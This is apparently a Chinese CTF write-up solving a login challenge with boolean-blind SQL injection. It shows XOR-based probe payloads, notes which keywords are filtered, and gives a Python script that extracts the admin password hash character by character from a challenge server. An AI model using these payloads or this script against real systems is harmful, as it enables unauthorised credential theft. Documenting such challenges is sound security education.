输入admin
,密码随便填,得到:password error!
输入admin'
,密码随便填,得到:username does not exist!
因为1^1=0;1^0=1,0^0=0,所以尝试:
输入admin'^1^1#
,密码随意填,得到:password error!
输入admin'^0^1#
,密码随意填,得到:username does not exist!
搂一遍可用的字符串/函数,经测试ascii
、substr
、括号
、select
、ord
、下划线
这些都可以用。此外,过滤了逗号
、for
、=
、where
、*
等。
判断长度:
admin'^(ascii(substr((database())from(1)))>23)^1#
回显password error!,说明ascii码大于23。
admin'^(ascii(substr((database())from(1)))>123)^1#
回显username does not exist!,说明ascii码小于123。
同理,写脚本,等号被过滤了,使用不等号(<>),这里库名表名是猜的。
import requests url='http://114.67.246.176:16662/index.php' flag="" for j in range(1,50): for i in range(32,128): payload = "admin'^(ascii(substr((select(password)from(admin))from("+str(j)+")))<>"+str(i)+")^1#" # print(payload) data = { "username": payload, "password": "123" } test = requests.post(url=url,data=data).text if 'exist' in test: flag += chr(i) print(flag) break
运行可得到密码的md5:4dcc88f8f1bc05e7c2ad1a60288481a2
,somd5解得明文:bugkuctf
登录得到flag。